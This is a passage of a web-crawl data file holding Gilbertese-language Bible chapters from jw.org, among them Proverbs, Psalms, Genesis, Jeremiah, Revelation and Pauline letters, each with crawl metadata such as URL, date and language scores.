tinana ao e kangai, \"E aki bure aei,\"+Ao bon raon te aomata ae karekea te kabuanibwai.+ 25 E kauekea te iraraure te aomata ae nanonrang,Ma e na toronibwai* ane e onimakina Iehova.+ 26 Ane e onimakina oin nanona ao e nanobaba,+Ma ane e nakonako ma te wanawana ao e na reke birinakona.+ 27 E na aki tare n te bwai teuana ane e anganga nakoia akana maiu ni kainnano,+Ma ane e kaini matana nakoia e na bon reke irouna rekenikai aika bati. 28 E karabaa te aomata ngkana a reke mwaakaia akana buakaka,Ma ngkana a mate ao a rikirake mwaitiia akana raoiroi.+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/taeka-n-rabakau\/28\/","date":"2018-01-19T08:31:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887832.51\/warc\/CC-MAIN-20180119065719-20180119085719-00066.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":663,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.456,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\nKe kaetieti nakon te mataniwi n te anene. Matikiera.* Ana areru Tawita ngke e roko Toeka are tibun Etom, n tuanga Tauro bwa e roko Tawita n ana auti Aimereka.+ 52 E aera ngkai ko kamoamoai am mwakuri aika bubuaka, ngkoe ae ko korakora?+ E teimatoa ana tangira ae koaua* te Atua ni kabongnga.+ 2 E kakang newem n aron te mwariro,+Ao e bairea te bwai ae karuanikai ao e mwamwakuri ni mwamwanaa te aba.+ 3 Ko tangira riki te bwai ae buakaka nakon te bwai ae raoiroiAo te kewe nakon taekinan te bwai ae eti. (Tiera) 4 Ko tangiri taeka nako aika karuanikai,Ngkoe te newe ae te tia mwamwanaa te aba! 5 Anne bukina ae e nangi boni katikiko iai ni kabwakako n aki toki te Atua,+E na raweiko ma ni buritikonako man am umwanrianna,+E na taeki wakaam mai abaia akana maiu.+ (Tiera) 6 Ane a na nora anne akana raoiroi ao a na taonaki n te maaku,+Ao a na ngareakina teuanne.+ 7 \"Noria, ao aei te mwaane ae aki karika te Atua bwa ana tabo ni kamanomano,*+Ma e onimakini kaubwaina aika rangi ni bati,+Ao e mwiokoi* oin ana babaire aika buakaka.\"* 8 Ma N na riki bwa ai aron te aroka ae te oriwa ae manguroro n ana auti te Atua,I onimakina ana tangira ae koaua* te Atua,+ n aki totoki. 9 N na karaoiroiko n aki toki ibukini mwakuri aika ko karaoi,+N na kabotoa au kantaninga i aon aram i mataia am aomata aika kakaonimaki ni koaua,+Ibukina bwa e raoiroi te baere ko karaoia.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/taian-areru\/52\/","date":"2018-01-16T15:44:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886437.0\/warc\/CC-MAIN-20180116144951-20180116164951-00267.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":282,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.422,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n8 Ma ni kaineti ngkanne ma te amwarake are kareanaki nakoia bouannanti,+ ti bane n atatai+ ni kaineti ma te baei. E karekea te kainikatonga te atatai, ma e kateimatoa te aba te tangira.+ 2 Ngkana iai ae e taku i nanona bwa e ataa te bwai teuana, ao e bon tuai n ataia n aron are e riai n ataia iai. 3 Ma ngkana iai ae e tangira te Atua, ao e ataaki te aomata aei iroun te Atua. 4 Mangaia ae ni kaineti ma kanakin te amwarake are kareanaki nakoia bouannanti, ti ataia bwa akea uaan te bouannanti,+ ao bon tii temanna te Atua.+ 5 Bwa e ngae ngke iai baika aranaki bwa atua i karawa ke n te aonnaba,+ ao a bati naba aika a atongaki irouia aomata bwa atua ma ueea, 6 ma iroura bon tii temanna te Atua,+ ae te Tama,+ ae a bane n riki bwaai irouna, ao ti maiu ibukina.+ Ao tii temanna te Uea, ae Iesu Kristo, ae a bane n riki bwaai rinanona+ ao ti maiu ngkai rinanona. 7 Ma a aki bane aomata n atatai+ iai, ma iai tabeman ake a ururingi katei aika irekereke ma te bouannanti ni karokoa ngkai, ao ngkana a amwarake, a iangoa kanaia bwa kaanga e kareanaki nakon te bouannanti,+ ao e a kamwara iai mataniwin nanoia kioina ngkai e mamaara.+ 8 Ma tiaki te amwarake ae e na kaanira ma te Atua.+ Ngkana ti aki amwarake, ao akea te bwai ae bua mairoura. Ao ngkana tao ti amwarake, ao akea rakan arora iai.+ 9 Ma kam na taratara raoi bwa kam na aki karika inaomatami bwa te bwai ni kabwakabwaka nakoia te koraki ake a mamaara.+ 10 Bwa ngkana iai ae e noriko ngkoe ae iai am atatai, bwa ko amwarake n ana tembora te bouannanti, ao tiaki bwa e na kairaki iai mataniwin nanon ane e mamaara bwa e na aki maaku ni kana te amwarake ae kareanaki nakoia bouannanti? 11 Mangaia ae e a uruanaki aron ane e mamaara n am atatai, ae taekan tarim are e mate Kristo ibukina.+ 12 Ngkana kam bure nakoia tarimi n te aro aei, ma ni kammaraka mataniwin nanoia+ ae mamaara, ao kam boni bure iai nakoni Kristo. 13 Anne bukina ae ngkana e kabwakaa tariu te amwarake, ao N na aki manga kang iriko, bwa I aonga n aki kabwakaa tariu.+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/1-i-korinto\/8\/","date":"2018-01-23T16:18:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891980.75\/warc\/CC-MAIN-20180123151545-20180123171545-00067.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":417,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.465,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n7 Imwin anne ao e taku Iehova nakon Noa: \"Naako riin i nanon te aake ngkoe ma kaaini batam ni kabane, ibukina bwa boni ngkoe ae I noriko bwa ko raoiroi i matau i buakon te roro aei.+ 2 Ko na kairiia kaka itiman* mai buakoia maan nako aika itiaki,+ ae te mwaane ao te aine, ao tii kaka uoman mai buakoia maan nako aika aki itiaki, ae te mwaane ao te aine, 3 ao kaka itiman naba mai buakoia manin karawa aika kibakiba, ae te mwaane ao te aine, bwa a aonga n teimatoa ni maiu kanoaia n te aonnaba ni kabutaa.+ 4 Bwa ai tii itibong riki ao N na kabwakaa te karau+ i aon te aonnaba i nanon 40 te ngaina ao 40 te bong,+ ao N na kamaunaia mai aon te aba aomata ma maan ni kabane aika I karaoiia.\"+ 5 Ao e karaoi bwaai ni kabane Noa ake e tua Iehova nakoina. 6 Ai 600 ana ririki Noa ngke e roko te ieka ae te ran i aon te aonnaba.+ 7 Mangaia are a a rinnako n te aake Noa ma natina mwaane ao buuna ma buuia natina, imwain rokon te ieka.+ 8 Ao mai buakoia maan nako aika itiaki ao mai buakoia maan nako aika aki itiaki ao mai buakoia maan nako aika kibakiba ao mai buakoia maan nako aika mwamwae i aontano,+ 9 a rinnako n te aake are e rin iai Noa ni kaka uoman, te mwaane ao te aine, n aron are e tua te Atua nakon Noa. 10 Ao itibong imwina ao e a roko te ieka i aon te aonnaba. 11 N ana ka-600 n ririki ni maiu Noa n te kauoua n namwakaina* ae 17 iai bongin te namwakaina, ao a a bane n uki koburake n ran man te ran ae makuakua* n te bong anne, ao e kaukaki mataroan te ran are i karawa.+ 12 Ao e bwaka ni korakora te karau i aon te aonnaba i nanon 40 te ngaina ao 40 te bong. 13 E rin Noa n te bong naba anne i nanon te aake ma natina ake Tem, Am, ao Iabeta,+ ao buuna ma buuia natina ake teniman.+ 14 A rinnako ma maan aika moaanti n aekaia nako, maan aika manana n aekaia nako, manin te aonnaba aika kawakawa n aekaia nako, maan aika kibakiba n aekaia nako, mannikiba nako, ao maan nako aika iai baia ni kiba. 15 A a waaki n rin maan n aekaia nako ake e mena irouia te ikeike ni maiu* ni kaka uoman i nanon te ake are e rin iai Noa. 16 Mangaia are a rinnako maan n aekaia nako ae te mwaane ao te aine, n aron are e tua te Atua nakoina. Imwin anne ao e a kaina te mataroa Iehova. 17 E reitinako* bwakan te karau i nanon 40 te bong ao e a rikirake n iabuti te ran n te aro are e a betirake te aake, ao e a beibeti i aon te ran i etan te aba. 18 E a taonakinako te aonnaba n te ran ao e teimatoa n rikirake n iabuti n te aro ae e a makuakua, ma e beibeti te aake i aon te ran. 19 E taonakinako te aonnaba n te ran n te aro ae korakora ao a a bane n rabunakinako maunga aika ririeta aika n te aonnaba.+ 20 Rietan te iabuti bon 15 te mwanokunibai* i etan taiani maunga. 21 Mangaia are a a bane ni mate maan* aika maiu aika mwamwae i aon te aba,+ aika maan aika kibakiba, maan aika manana, maan aika moaanti, nna ni man* aika mwamwae, ao aomata ni kabane.+ 22 A bane ni mate baika iai irouia te ikeike ni maiu,* aika mena i aon te aba ae mwau.+ 23 Mangaia are E kamaunai baika maiu ni kabane mai aon te aonnaba, n ikotaki ma aomata, maan, maan aika kawakawa, ao manin karawa aika kibakiba. A bane ni kamaunaaki mai aon te aonnaba,+ ma tii Noa ma raona ake n te aake aika reke maiuia.+ 24 Ao e teimatoa n taonakinako te aonnaba n te ran i nanon 150 te bong.+\n^ Ke tao, \"maan nako aika itiaki aika itiman aika kiriuoman.\"\n^ E bwakara nukan Okitobwa nakon nukan Nobembwa.\n^ Te taeka ae \"te ran ae makuakua\" e kaineti nakon te ran ae makuakua are i etan te ea ae otabwaninia te aonnaba ao e kabwarabwaraaki ni Karikani Bwaai 1:6, 7 bwa \"te ran are i etan te ea.\"\n^ Ke, \"teimatoa n roko.\"\n^ Ebera, \"iriko ni kabane.\"\n^ N te taetae n Ebera ao e kaineti nakoia maan aika uarereke aika mwaitikurikuri aika a kiribobotaki aika kona ni kuneaki n te ea, i taari, ke i aon te aba.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/karikani-bwaai\/7\/","date":"2018-01-23T06:19:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891750.87\/warc\/CC-MAIN-20180123052242-20180123072242-00343.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":790,"character_repetition_ratio":0.092,"word_repetition_ratio":0.018,"special_characters_ratio":0.262,"stopwords_ratio":0.461,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\nAna areru Tawita. Matikiera.* 32 E a kukurei ane e kabwaraaki ana bure, ao e rabunaki* ana kairua.+ 2 E a kukurei te aomata ae aki bukinaki n te bure iroun Iehova,+Ao ae akea te kani mwamwanaa te aba i nanona. 3 Ngkana I teimatoa ni kainabwabu ao a kanakinako riiu ibukini ngirangirau ni kabongnga.+ 4 Bwa e tinebu baim* i aou n te ngaina ao n te bong.+ E buanerake korakorau* n ai aron te ran n te mwautakataka n tain te kabuebue ae korakora. (Tiera) 5 N tokina ao I a kaota au bure nakoim,+I aki karabaa au kairua. I taku: \"N na kaotii au bure nakon Iehova.\"+ Ao ko kabwarai au kairua ma au bure.+ (Tiera) 6 Aei bukina ae a na bane iai n tataro nakoim akana kakaonimaki ni koaua+Ngkai ko kona n reke.+ Ao ane e na aki naba kona te ieka ae te ran n rota teuanne. 7 Bon au tabo ni karaba ngkoe,Ao ko na kawakinai man te rawawata,+Ko na otabwaniniai ma te takarua ni kimwareirei ibukin te kamaiu.+ (Tiera) 8 Ko kangai: \"N na anganiko te ataibwai ao N na reireiniko te kawai ae ko riai n nako iai.+ N na anganiko taeka n reirei ao e na memena naba matau i aom.+ 9 Tai riki n ai aron te aoti ke te miure ae aki ataibwai,+Ae e riai n tauaki arona n te bwe ke te bwai ni kabaebaeAo ngkanne e a tibwa kona ni kaaniko.\" 10 A mwaiti marakia akana buakaka,Ma e otabwaniniaki ane e onimakina Iehova n Ana tangira ae koaua.*+ 11 Kakatonga iroun Iehova ao kimwareirei ngkami aika kam raoiroi,Ao takarua ni kimwareirei ngkami ni kabane aika a eti nanomi.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/taian-areru\/32\/","date":"2018-01-20T14:22:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084889617.56\/warc\/CC-MAIN-20180120122736-20180120142736-00745.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":305,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.439,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n1 Te kaotioti* mairoun Iesu Kristo, ae e anganna te Atua,+ bwa e na kaotii nakoia ana toro+ bwaai aika a na waetata n roko. Ao e kanakoa ana anera bwa e na kaotia rinanon taiani kanikina, nakon ana toro ae Ioane+ 2 are kaotiota ana taeka te Atua ao ana kaotioti Iesu Kristo, eng, ake bwaai ni kabane ake e nori. 3 A a kukurei akana wareware ni kabaibati n te taetae ni burabeti aei ao akana ongora taekana, ao akana kakairi ni baike a koreaki iai,+ bwa e a kaan te tai ae baireaki. 4 Ngai ae Ioane, nakoia ekaretia aika itiua+ ake n te aono n Atia:* Ke e mena iroumi te akoi ae rianako ao te rau mairoun \"Teuare iai ngkai ao iai ngkoa ao ae e na manga roko,\"+ ao man taian taamnei ake itiua+ ake a mena i matan ana kaintokanuea, 5 ao mairoun Iesu Kristo, ae \"te tia Kakoaua ae Kakaonimaki,\"+ \"te moanibung mai buakoia maate,\"+ ao \"te tia Tautaeka i aoia uean aonnaba.\"+ Ana bwai teuare tangirira+ ao are kainaomataira man ara bure rinanon raraana+— 6 ao e karaoira bwa te tautaeka n uea+ ao ibonga*+ ibukin Atuana ae Tamana,—eng, ana bwai te mimitong ma te mwaaka n aki toki. Amen. 7 Noria! Ane e na roko ma naang,+ ao a na bane maata n noria ao a na noria naba naake a ewaria, ao a na bane barongan te aonnaba n ororei bwanibwania n rawawata ibukina.+ Eng, Amen. 8 E taku Iehova* ae te Atua: \"Ngai te Arebwa ao te Omeka,*+ ae Teuare iai ngkai ao iai ngkoa ao ae e na manga roko, ae Moan te Mwaaka.\"+ 9 Ngai ae Ioane ae tarimi ae te tia ibuokanibwai ma ngkami n te rawawata+ ao n te tautaeka n uea+ ao n te nanomwaaka,+ ngkai te tia rimwin Iesu ngai.+ I mena n te atimwakoro ae arana Batemoti ibukin tataekinan te Atua ao kaotiotan Iesu. 10 I kaonaki n te taamnei ae raoiroi ao I roko kaanga n ana bong te Uea, ao I ongo te bwanaa ae korakora mai akuu ae ai aron tangin te buu 11 ae kangai: \"Ane ko noria ao koreia n te nira ni boki ao kanakoa nakoia ekaretia ake itiua: i Ebeto,+ i Temurena,+ i Berekamo,+ i Tuateira,+ i Tareteiti,+ i Biraterebia,+ ao i Raorikeia.\"+ 12 I rairaki bwa N na noria bwa antai are taetae nakoiu, ao ngke I rairaki ao I nori kaintaura aika koora aika itiua,+ 13 ao e mena temanna ae kaanga natin te aomata i buakoni kaintaura,+ ae kunnikainna n te kunnikai ae rokoroko i waena, ao e kabaeaki bwabwaana n te roo ae koora. 14 Ao e mainaina atuna ma irana n aroni buraen te tiibu ae mainaina n ai aron te tino, ao a takarokaro matana n ai aron te ai,+ 15 ao waena ai aron te buraati ae raneanea+ ngkana e kabuekaki n te ai ni nnen te ai ae uramwaaka, ao bwanaana ai aroni karongoaan raan aika bati. 16 Ao e taui itoi aika itiua ni baina are te atai,+ ao e otinako mai wina te kabaang ae abwabwaki ae kakang ae uaitera wina,+ ao burana* ai aron taai ngkana e kirokiro riringana.+ 17 Ngke I noria, ao I bwaka i waena kaanga te mate. Ao e katokaa baina are te atai i aou ao e taku: \"Tai maaku. Boni ngai te Moan+ ao te Kabane,+ 18 ao teuare maiu ngai,+ ao I mate+ ngkoa, ma noria! I a maiu n aki totoki ngkai,+ ao iai irou kiingin te mate ao kiingin te Ruanimate.*+ 19 Mangaia ae korei baike ko nori, ao baika riki ngkai ao baika a na riki imwini baikai. 20 Ni kaineti ngkanne ma te bwai ae raba ae tabu, ake itoi ake itiua ake ko nori i baiu are te atai ao kaintaura ake itiua ake koora: A tei itoi ake itiua ibukia aia anera ekaretia aika itiua, ao kaintaura ake itiua a tei ibukin ekaretia aika itiua.+","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/te-kaotioti\/1\/","date":"2018-01-18T22:12:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887621.26\/warc\/CC-MAIN-20180118210638-20180118230638-00358.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":679,"character_repetition_ratio":0.045,"word_repetition_ratio":0.009,"special_characters_ratio":0.252,"stopwords_ratio":0.439,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n3 Ni kabaneana taari, kam na teimatoa n tataro ibukira+ bwa e aonga ni waekoa ni butanako ana taeka Iehova*+ ao n neboaki, n aron naba ae riki i buakomi, 2 ao ti aonga naba ni kamanoaki mairouia aomata aika iowawa ao aika buakaka,+ bwa a aki bane n onimaki aomata.+ 3 Ma e kakaonimaki te Uea nakon ana taeka, ao e na kakorakoraingkami ma ni kamanoingkami mairoun teuare buakaka. 4 Ma ngaira aika taan rimwin te Uea, ti onimakiningkami bwa kam kakororaoi ara kaetieti ao kam na teimatoa ni kakororaoi. 5 Ke e teimatoa te Uea ni kanakoraoa kairan nanomi nakon tangiran te Atua+ ao nakon te nanomwaaka+ bwa kam aonga ni beku ibukin te Kristo. 6 Ao ti anganingkami taiani kaetieti taari n aran ara Uea ae Iesu Kristo, bwa kam na kararoaingkami mairouia taari ni kabane ake a nakonako n te aro ae aki riai+ ao tiaki n te aro ae boraoi ma kaetieti ake kam* karekei mairoura.+ 7 Bwa kam bon ataa te aro ae kam riai ni kakairi iai iroura,+ ibukina bwa ti aki maiuakina te aro ae aki riai i buakomi, 8 ke ni kana kanan temanna n aki kabooa.+ Ma ni kaitaraan anne, ti bekutata ma te korakai ni ngaina ao ni bong bwa ti aonga n aki karawawataa temanna i buakomi n te kabanemwane ae bati.+ 9 Tiaki nanona bwa akea riaira ni butimwaea te bwai teuana,+ ma ti karaoa aei bwa ti kan anga ngaira bwa banna ni katoto nakoimi bwa kam na kakairi iroura.+ 10 Ni koauana, ngke ti mena i rarikimi ao ti aki toki n tua nakoimi ae kangai: \"Ngkana iai ae e aki kani mwakuri ao ke e tai amwarake.\"+ 11 Bwa ti ongo bwa iai tabeman aika karaoa ae aki riai i buakomi,+ aika aki mwamwakuri, ma a reberake n roko ni baike a aki kaineti nakoia.+ 12 Ti tua nakoia aomata akanne ao ni kaungaia i nanon te Uea ae Iesu Kristo, bwa a na tabeakini baika kaineti nakoia ao n amwarake ni kanaia ake a karekei man aia mwakuri.+ 13 Ao ngkami taari, tai kabwarai nanomi ni kakaraoan ae raoiroi. 14 Ma ngkana iai temanna ae aki ongeaba nakon ara taeka rinanon te reta aei, ao mamataukiroa te aomata anne, ao katoka te iraorao ma ngaia+ bwa e aonga ni maamaa. 15 Ao tai iangoia bwa te tia kairiribai, ma teimatoa n reireinna+ ngkai te tari ngaia. 16 Ke e teimatoa n anganingkami te rau n aanga nako, te Uea ae kakarekea te rau.+ Ke e raoningkami ni kabane te Uea. 17 Aio bon au kamauri, ngai ae Bauro ae I koreia n oini baiu.+ Bon tabonibaiu ae kanikinaean au reta nako. 18 Ke e mena iroumi ni kabane ana akoi ae rianako ara Uea ae Iesu Kristo.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/2-i-tetaronike\/3\/","date":"2018-01-20T14:18:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084889617.56\/warc\/CC-MAIN-20180120122736-20180120142736-00401.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":480,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.435,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n14 Aio ana taeka Iehova are e roko iroun Ieremia ni kaineti ma te mwautakataka:+ 2 E a nanokawaki Iuta,+ ao a a mka mataroan oona. A a iinako nako aontano ma te rawawata,Ao e a waerake te tang mai Ierutarem. 3 Ao aia mataniwi a kanakoia aia toro* ibukin te ran. A nako nakon taiani bwangabwanga n ran* ma akea te ran ae reke irouia. A oki ma aia kaatibu aika akea kanoaia. A a maamaa ma ni bwara nanoia,Ao a rabun atuia. 4 Ibukina bwa e a tabwena aontano,Bwa ai akea te karau i aon te aba,+A a bwara nanoia taan ununiki ao a rabun atuia. 5 E kitana naba bunna ae e a tibwa bungia te ria aine n te tawaana,Ibukina bwa ai akea te uteute. 6 A tei taongki aika moaanti i aon tabuki aika akea aroka iai. A ikerakea te ang n aroia tiakaore,*Ao a kai mataia ibukina bwa ai akea te uteute.+ 7 E ngae ngke a kaotioti ni kaaitaraira ara kairua,Ma karaoa te mwakuri ngkoe ae Iehova ibukin aram.+ Bwa a bati ara mwakuri n aki kakaonimaki,+Ao ti boni bure nakoim. 8 Ngkoe ae ana kantaninga Iteraera, ae ana tia Kamaiu+ n tain te rawawata,E aera ngkai kaanga ai aron te ianena ngkoe n te aba,Ao ai aron te tia mwamwananga ae tiku tii ibukin teuana te tairiki? 9 E aera ngkai kaanga ai aron te aomata ae kubanrou ngkoe,Ao ai aron te aomata ae korakora ae aki kona ni kakamaiu? Bwa ko boni mena i buakora, ngkoe ae Iehova,+Ao ti ingoanaki n aram.+ Tai kitanira. 10 E kangai ana taeka Iehova ni kaineti ma aomata aikai: \"A tangiria n tiotionako,+ a aki taui waeia.+ Mangaia ae akea kukurein Iehova irouia.+ E na uringi ngkai aia bure ao e na kaetii taekaia ibukin aia bure.\"+ 11 E taku ngkanne Iehova nakoiu: \"Tai tataro ibukin te bwai ae raoiroi bwa e na roko irouia aomata aikai.+ 12 Ngkana a aki mamatam, ao I aki ongo aia bubutii,+ ao ngkana a anga aia karea ni kabuekaki aika bwanin ma te karea ae te amwarake,* ao I aki kukurei iai,+ bwa N na katiai aroia n te kabaang, n te rongo, ao n te aoraki ae kamamate.\"+ 13 Ngaia are I taku: \"Akea ngai te Uea ae Moan te Rietata ae Iehova! Noria bwa a kangai burabeti nakoia, 'Kam na aki nora te kabaang, ao e na aki roko iroumi te rongo, ma N na anganingkami te rau ni koaua n te tabo aei.'\"+ 14 E taku ngkanne Iehova nakoiu: \"A taekin taetae ni burabeti aika kewe n arau taiani burabeti.+ I aki kanakoia ke n tua nakoia ke n taetae nakoia.+ A taetae ni burabetiia nakoimi te miitara ae kewe ma te kaiwa ae akea manenana ma te mwamwanaa te aba n oin nanoia.+ 15 Mangaia ae e kangai ana taeka Iehova ni kaineti ma burabeti ake a taetae ni burabeti n arau, e ngae ngke I aki kanakoia, ao ake a taekinna bwa akea te kabaang ke te rongo ae e na roko n te aba aei: 'A na boni mate n te kabaang ao n te rongo burabeti akanne.+ 16 Ao aomata ake a taetae ni burabeti nakoia, a na boni karenakoaki nakoni kawain nako Ierutarem ibukin te rongo ao te kabaang, ao akea ae e na kaiia,+ ngaiia ma buuia ao natiia mwaane ke natiia aine, bwa N na kabwaroa i aoia te rekenikai ae bon riai n reke irouia.'+ 17 \"Ko riai n taekina te taeka aei nakoia,'Ke a tiinako rannimatau ni ngaina ao ni bong, ao ke a aki toki,+Bwa e a boni kamanatuaaki raoi ma n uruakaki te teinnaine ae natiia au aomata,+N te ikoaki ae moan te kakaiaki. 18 Ngkana I otinako nakon te tawaana ao noria,I noriia te koraki ake a kamateaki n te kabaang!+ Ao ngkana I rin n te kaawa,Ao I nori taian aoraki man te rongo!+ Bwa a uaia n ririaki te burabeti ma te ibonga* n te aba ae a aki ataia.'\"+ 19 Ko a bon rawa raoi nakon Iuta ke ko* a ribaa Tion?+ E aera ngkai ko a oreira, n te aro ae ai akea kamaiuara?+ E kantaningaaki te rau, ma bon akea te bwai ae raoiroi ae kaoti,Ao te tai ni kakamaiu ma bon tii te maakunrang!+ 20 Iehova, ti atai buakakaraAo aia kairua ara bakatibu,Bwa ti bure nakoim.+ 21 Tai rawa nakoira ibukin aram+Ao tai ribaa am kaintokanuea ae mimitong. Uringa te berita are ko karaoia ma ngaira ao tai urua.+ 22 A kona ni kabwakaa te karau aia bouannanti aika akea manenaia natannaomata,Ke e kona naba karawa ni kabwakaa te karau i bon irouna? Tiaki bon tii Ngkoe Iehova ae Atuara ae ko kona ni karaoia?+ Ao ti kabotoi ara kantaninga i aom,Bwa bon tii ngkoe ae ko karaoi baikai ni kabane.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/ieremia\/14\/","date":"2018-01-18T02:43:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887054.15\/warc\/CC-MAIN-20180118012249-20180118032249-00328.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":816,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.423,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko tangiria ni wareka te kaongora aei n %%?\nKo tangiria ni wareka te kaongora aei n %%?\nTe Baibara n te Intanete | TE BAIBARA AE TABU-TE RAIRAI AE TE AONNABA AE BOOU (MANGA RINANOAKI N 2013 )\n49 Ao e weteiia natina aika mwaane Iakoba ao e taku: \"Botingkami bwa I aonga n tuangingkami te bwai ae e na riki nakoimi ni boong aika a na roko. 2 Botingkami ao ongora, ngkami aika natin Iakoba, eng, ongora iroun Iteraera ae tamami. 3 \"Reuben,+ bon au karimoa ngkoe,+ marurungiu ao moani korakorau,* moanibaan te karineaki ao moanibaan te korakora. 4 Ma ko na aki moanibaa ibukin am akiako n aroni karaanga aika buaka, ibukina bwa ko nakoni nnen tamam ni wene.+ Ko kamwaraea nneu ni wene n te tai anne. E bon nako aoni nneu ni wene! 5 \"Bon taari Timeon ma Rewi.+ A kabonganai aia bwai ni buaka n tiritiri iai.+ 6 I* bia aki raonia. Tai kariaia karineau* bwa e na irekereke ma ngaiia n aia botaki, ibukina bwa a kamateia mwaane ngke a un,+ ao a kamwaukuia kaao mwaane ibukini kakukureiaia. 7 E na reke kain unia ibukina bwa e tiritiri, ao unia ae korakora ibukina bwa e iowawa.+ 